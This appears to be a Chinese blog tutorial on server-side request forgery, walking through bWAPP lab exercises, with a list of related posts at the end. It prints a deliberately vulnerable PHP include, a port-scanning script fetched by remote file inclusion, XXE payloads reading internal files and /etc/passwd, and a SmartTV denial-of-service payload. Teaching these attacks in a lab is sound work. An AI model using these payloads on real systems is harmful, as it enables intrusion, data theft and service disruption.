SSRF漏洞是如何产生的?

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

上面的话说的有点抽象,然后说一下网上大佬的理解

首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站。

所以,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以同过a网站做中间人,访问b网站,从而达到攻击b网站需求。

正常用户访问网站的流程是:

输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤),并处理 -->返回用户响应

【那网站有个请求是www.baidu,com/xxx.php?image=URL】

那么产生SSRF漏洞的环节在哪里呢?安全的网站应接收请求后,检测请求的合法性

产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据

例如:

www.baidu.com/xxx.php?image=www.abc.com/1.jpg

如果我们将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址会产生什么效果呢?

如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会其他的状态码

终极简析: SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。

ssrf用途

那么SSRF 可以做什么呢?

1.内外网的端口和服务扫描

2.主机本地敏感数据的读取

3.内外网主机应用程序漏洞的利用

4.内外网Web站点漏洞的利用

......

SSRF漏洞的寻找(漏洞常见出没位置):

注:个人觉得所有调外部资源的参数都有可能存在ssrf漏洞

  • 1)分享:通过URL地址分享网页内容

  • 2)转码服务

  • 3)在线翻译

  • 4)图片加载与下载:通过URL地址加载或下载图片

  • 5)图片、文章收藏功能

  • 6)未公开的api实现以及其他调用URL的功能

  • 7)从URL关键字中寻找

share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...

SSRF漏洞的验证方法:

1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞

2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞

SSRF实例

1. bWAPP中的SSRF

bWAPP(buggy web Application) 这是一个集成了各种常见漏洞和最新漏洞的开源Web应用程序,集成了超过100种漏洞,个人觉得还是非常好用的,特别是在找漏洞利用示例的时候,往往能够节省一些时间。

BWAPP:一款非常好用的漏洞演示平台

安装完毕后,使用bee/bug进行登录,登录的时候的等级选择为low,登录后选择SSRF的靶场,然后点击Hack进行演练。

image.png

选择ssrf测试

2. SSRF的3个小实验

bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:

任务1:使用(RFI)远程文件包含进行端口扫描(内网探测)

任务2:使用XXE获取敏感文件中的内容(文件读取)

任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)

RFI综述

RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。
要了解远程文件包含,首要先了解php的文件包含机制:
PHP中常用的包含调用函数有:include(), require(), include_once(), require_once() .include失败会弹出警告 而require则直接导致致命的错误
写个例子吧,直接讲下RFI:
s_hell.php(php.ini下开启allow_url_fopen allow_url_include)

<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
?>

http://10.22.10.191/Myphp/s_hell.php?file=https://bbs.ichunqiu.com

image.png

包含其实通俗点来讲,就是把被包含的文件的代码拿过来当作自己的源码的一部分,所以,php文件包含机制有个特性:哪怕被包含的文件是个txt文件,它也会被包含文件所在的服务器当作脚本去执行:

任务1:使用远程文件包含进行端口扫描

点击任务1中的Port scan可以获得一份端口扫描的攻击脚本

image.png

http://10.22.10.191/Myphp/ssrf-1.txt

<?php
/*
/*
bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project!
It is for educational purposes only.
Enjoy!
Malik Mesellem
Twitter: @MME_IT
漏 2013 MME BVBA. All rights reserved.
*/
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
if(isset($_REQUEST["ip"]))
{//list of port numbers to scan$ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);  //要扫描的端口$results = array();        //把端口开放结果存在数组里foreach($ports as $port)           //遍历端口{if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))          //fsockopen()判断端口开放情况{$results[$port] = true;         //结果放置在result数组里fclose($pf);}else{$results[$port] = false;        }}foreach($results as $port=>$val)             //遍历结果数组 $port=>$val 键值对形式{$prot = getservbyport($port,"tcp");        /获取端口服务echo "Port $port ($prot): ";if($val)                  //存在结果数组里的值是true,即为端口open,否则端口close{echo "<span style=\"color:green\">OK</span><br/>";}else{echo "<span style=\"color:red\">Inaccessible</span><br/>";}}
}
//echo phpinfo();
?>

进入Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php

GET的请求: http://127.0.0.1/bwapp/bWAPP/rlfi.php?language=http://10.22.10.191/Myphp/ssrf-1.txt&action=go

使用如下PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务。

POST:http://10.22.10.191/bwapp/bWAPP/rlfi.php?language=http://10.22.10.191/Myphp/ssrf-1.txt&action=go

POST DATA:ip=10.22.8.113

10.22.10.191也就是攻击者的主机ip,这里language=http://10.22.10.191/....是扫描脚本的访问地址,为了方便这里就用同一台进行测试了,10.22.8.113是要扫描的目标主机地址,且该地址是language=http://10.22.10.191/主机无法访问到的,然后方便查看区分使用post请求提交要进行扫描的目标主机IP,扫描结束后便返回结果。

任务2:使用XXE获取敏感文件中的内容

先点击任务2中的Access得到XXE的利用脚本http://127.0.0.1/BWAPP/evil/ssrf-2.txt。,然后访问XML External Entity Attacks (XXE)演练环境http://xxx.xxx.xxx/bWAPP/xxe-1.php,使用burpSuite抓包,并发送到repeater中进行测试。

# Accesses a file on the internal network (1)<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset># Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

测试中涉及的XXE知识可以参考http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA这篇文章。

使用http协议获取/bWAPP/robots.txt的内容。

使用php协议获取/bWAPP/passwords/heroes.xml中的经过base64编码的数据。

使用file协议获取bWAPP本机的/etc/passwd的内容。

任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(没有演示环境,先留坑)

# Crashes my Samsung SmartTV (CVE-2013-4890) ;)<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY bWAPP SYSTEM "http://[IP]:5600/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

参考:http://www.freebuf.com/column/157466.html

ssrf 服务器端请求伪造 简介相关推荐

  1. SSRF服务器端请求伪造

    SSRF服务器端请求伪造 SSRF服务端请求伪造漏洞,也称为XSPA跨站端口攻击,是一种由攻击者构造一定的利用代码导致服务端发起漏洞利用请求的安全漏洞,一般情况下SSRF攻击的应用是无法通过外网访问的 ...

  2. SSRF服务器端请求伪造漏洞基础

    SSRF服务器端请求伪造漏洞基础,下面分五个专题来说 1.什么是ssrf? 2.ssrf的相关协议 3.有无回显的ssrf漏洞确认 4.ssrf如何利用? 5.ssrf漏洞的绕过 6.ssrf漏洞的加 ...

  3. SSRF服务器端请求伪造攻击详解

    一.SSRF概述   SSRF(Server-Side Request Forgery:服务器端请求伪造),是一种由攻击者构造请求,由服务端发起请求的安全漏洞.   其形成的原因大都是由于服务端提供了 ...

  4. Web安全——服务器端请求伪造(SSRF)

    SSRF 概述 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访 ...

  5. Web漏洞之SSRF(服务器端请求伪造)

    文章目录 一.漏洞场景 二.漏洞描述 三.漏洞原理 四.漏洞危害 五.漏洞评级 六.漏洞验证 七.漏洞利用 八.漏洞防御 一.漏洞场景 服务器会根据用户提交的URL 发送一个HTTP 请求.使用用户指 ...

  6. 【转】SSRF(Server-Side Request Forgery:服务器端请求伪造)

    原文链接:服务端请求伪造(SSRF) - Hel10 - 博客园 0x01:服务器端请求伪造的概念 ​ SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻 ...

  7. SSRF(Server-Side Request Forgery):服务器端请求伪造

    0X00 SSRF介绍 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外 ...

  8. SSRF漏洞(服务器端请求伪造)

    中间人(SSRF就是中间人)攻击,服务端请求伪造,主要攻击内网,打redis和weblogic特别厉害,目标网站的内部系统(他是从内部系统访问的,所以通过它攻击外部系统无法访问的内部系统,也就是目标网 ...

  9. 【SSRF-01】服务器端请求伪造漏洞原理及利用实例

    目录 1 基础知识 1.1 概述 1.2 原理 1.3 危害 2 SSRF漏洞利用实例 2.1 实验环境及实验前准备 2.2 SSRF漏洞的利用实例 2.2.1 正常访问 2.2.2 端口扫描-扫描内 ...

最新文章

  1. Scrapy框架中管道的使用
  2. 自动化测试现状趋势解读,附带近年自动化测试常用工具
  3. 字节通常用英文单词bit来表示_字节跳动为什么有字节2个字,因为程序的真谛:字节...
  4. CMSIS对异常和中断标识符、中断处理函数名以及中断向量异常号都有严格的要求。
  5. diff与patch命令
  6. 查看linux内存存储空间不足,Linux 下判断Server 内存是否不足
  7. BootStrap 效果展示
  8. SAP CRM和C4C的订单Number range
  9. iOS消息推送整体流程
  10. PostgreSQL的核心架构
  11. WorkFlow入门Step.7—Creating a FlowChart WorkFlow-For-WF4.0
  12. php检查运算是否错误,用PHP中的@运算符抑制错误
  13. COJ1183(计算表达式的值)
  14. php标签扩展,标签扩展 · ThinkPHP5.0完全开发手册 · 看云
  15. mac环境下配置nginx
  16. 《极客学院 --NSAttributedString 使用详解-4-UITextKit 简介》学习笔记(待处理)...
  17. C++中函数如何返回数组
  18. 《Effective C#》读书笔记——条目25:用事件模式实现通知使用C#表达设计
  19. 0018 求球的表面积和体积
  20. 软件测试基础篇(3)

热门文章

  1. python中四种进制的输出_Python基础语法和进制
  2. C 语言编程 — 高级数据类型 — 共用体
  3. 4G EPS 的网络协议栈
  4. Socket 网络编程实践经验
  5. stm32的时钟系统
  6. oracle11g安装过程提示swap size 检查失败问题
  7. 无刷新上传图片,ajax 和 iframe
  8. 20145234黄斐《信息安全系统设计基础》第九周学习总结(课本部分)
  9. 从零开始制作自己的podspec
  10. java 大数据处理一